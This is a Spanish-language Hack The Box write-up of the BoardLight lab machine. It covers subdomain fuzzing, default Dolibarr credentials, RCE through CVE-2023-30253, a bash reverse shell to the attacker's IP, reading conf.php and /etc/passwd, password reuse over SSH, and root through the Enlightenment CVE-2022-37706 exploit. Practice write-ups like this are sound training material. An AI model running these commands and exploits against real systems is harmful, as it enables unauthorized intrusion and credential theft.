BoardLight
BoardLight es una máquina Linux de Hack The Box donde descubrimos Dolibarr 17.0.0 mediante enumeración de subdominios, explotamos CVE-2023-30253 para obtener acceso inicial y aprovechamos CVE-2022-37706 en Enlightenment para escalar privilegios hasta root.

- Plataforma
- Hack The Box
- Sistema operativo
- Linux
- Dificultad
- Fácil
- Publicado
- Autor
- Pedro Vargas
- Temas
- Virtual Host
- Subdominios
- Dolibarr
- Default Credentials
- CVE 2023 30253
- SSH
- SUID
- Enlightenment
- CVE 2022 37706
En esta página
Resumen
BoardLight es una máquina Linux Easy donde la enumeración de subdominios descubre crm.board.htb ejecutando Dolibarr 17.0.0. Tras acceder con credenciales por defecto, explotaremos CVE-2023-30253 para obtener una shell como www-data, reutilizaremos una contraseña encontrada en conf.php para acceder como larissa y finalmente explotaremos CVE-2022-37706 en Enlightenment para conseguir root.
Enumeración
Comenzamos realizando un escaneo completo de puertos:
nmap -p- 10.129.231.37 -T5

Encontramos únicamente dos puertos abiertos:
22 - SSH
80 - HTTP
Realizamos un segundo escaneo para obtener más información sobre los servicios:
nmap -p22,80 -sVC 10.129.231.37 -T5


Al acceder al servidor web encontramos una página corporativa y, revisando su contenido, aparece una referencia a:
board.htb

Añadimos el dominio a nuestro /etc/hosts y continuamos enumerando.

Descubriendo crm.board.htb
Como ya tenemos un dominio, buscamos posibles virtual hosts utilizando ffuf:
ffuf -u http://board.htb -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host: FUZZ.board.htb' -c -v -t 500 -fs 15949

El parámetro -fs 15949 nos permite filtrar respuestas cuyo tamaño corresponde a la respuesta genérica del servidor, facilitando identificar resultados diferentes.

Entre los resultados encontramos:
crm.board.htb
Lo añadimos también a /etc/hosts y accedemos desde el navegador.

Esta vez encontramos Dolibarr 17.0.0.
Acceso a Dolibarr
Probamos las credenciales por defecto:
admin:admin

Y conseguimos acceder al panel administrativo. 🎯
Teniendo acceso autenticado y conociendo la versión exacta, buscamos vulnerabilidades conocidas para Dolibarr 17.0.0.
Encontramos:
CVE-2023-30253
Explotando CVE-2023-30253
Para explotarla utilicé el siguiente PoC:
https://github.com/Rubikcuv5/cve-2023-30253

Clonamos el repositorio:
git clone https://github.com/Rubikcuv5/cve-2023-30253
Instalamos sus dependencias:
pip install -r requirements.txt --break-system-packages
Primero comprobamos si realmente tenemos ejecución remota de comandos utilizando algo sencillo:
python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -c "ls -l"

El comando se ejecuta correctamente.
🔥 Tenemos RCE sobre el servidor.
¿Qué ocurre con CVE-2023-30253?
La vulnerabilidad permite a un usuario autenticado evadir las restricciones que Dolibarr aplica sobre contenido PHP e introducir código que termina siendo interpretado por el servidor.
Por eso necesitamos primero las credenciales admin:admin: el vector que estamos utilizando requiere acceso autenticado a Dolibarr.
En lugar de quedarnos ejecutando comandos individuales, vamos a utilizarlo para conseguir una shell.
Reverse shell
Desde Kali dejamos Netcat escuchando:
nc -lvp 4444

Volvemos a ejecutar el exploit, pero esta vez nuestro comando será una reverse shell:
python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -c "/bin/bash -c 'bash -i >& /dev/tcp/10.10.17.149/4444 0>&1'"
Recibimos la conexión en nuestra máquina.
Ahora tenemos acceso como:
www-data
Credenciales en Dolibarr
Con acceso al filesystem comenzamos a revisar la configuración de la aplicación.
El archivo que nos interesa es:
cat /var/www/html/crm.board.htb/htdocs/conf/conf.php

Dentro encontramos las credenciales utilizadas por Dolibarr:
dolibarrowner:serverfun2$2023!!
Inicialmente podríamos pensar en reutilizarlas directamente mediante SSH, pero dolibarrowner corresponde al usuario utilizado por la aplicación y no necesariamente tiene que existir como usuario local de Linux.

Comprobamos las cuentas del sistema:
cat /etc/passwd

Entre ellas encontramos:
larissa
Así que probamos algo sencillo pero muy efectivo: reutilización de contraseña.
larissa:serverfun2$2023!!
Las credenciales funcionan y podemos acceder mediante SSH como larissa. 🔑

Enumeración como larissa
Ya con una sesión estable comenzamos la enumeración local.
Revisamos las sesiones gráficas instaladas:
ls /usr/share/xsessions
Aquí encontramos Enlightenment.
Comprobamos su ubicación:
which enlightenment
Y posteriormente su versión:
/usr/bin/enlightenment --version
La versión instalada es:
0.23.1
Investigando esta versión encontramos:
CVE-2022-37706
Esta vulnerabilidad afecta al componente privilegiado enlightenment_sys y permite realizar una escalada local de privilegios debido a una validación insegura de determinadas rutas que termina permitiendo ejecución de comandos con privilegios elevados.

Explotando CVE-2022-37706
Utilicé el siguiente exploit público:
https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh

Copiamos el contenido del exploit para utilizarlo en BoardLight.
Durante mis pruebas también trabajé con:
vi exploit.py
Finalmente, sobre el script que vamos a ejecutar damos permisos:
chmod +x exploit.sh
Y lanzamos el exploit:
./exploit.sh

La vulnerabilidad permite abusar de enlightenment_sys, que dispone de privilegios SUID, para terminar ejecutando comandos como root.
Comprobamos:
whoami
Resultado:
root
🔥 ¡BoardLight completada!
Conclusiones
BoardLight tiene una ruta corta pero interesante: ffuf descubre Dolibarr 17.0.0, CVE-2023-30253 nos proporciona RCE y una contraseña expuesta en conf.php es reutilizada por larissa. Finalmente, CVE-2022-37706 en Enlightenment permite escalar hasta root.
Herramientas utilizadas
- Nmap
- ffuf
- Git
- Python
- Netcat
- SSH
Referencias
- CVE-2023-30253: https://github.com/Rubikcuv5/cve-2023-30253
- CVE-2022-37706: https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh
- Resolución en directo: https://www.youtube.com/watch?v=cDGxtIru_Jc&t=1169s


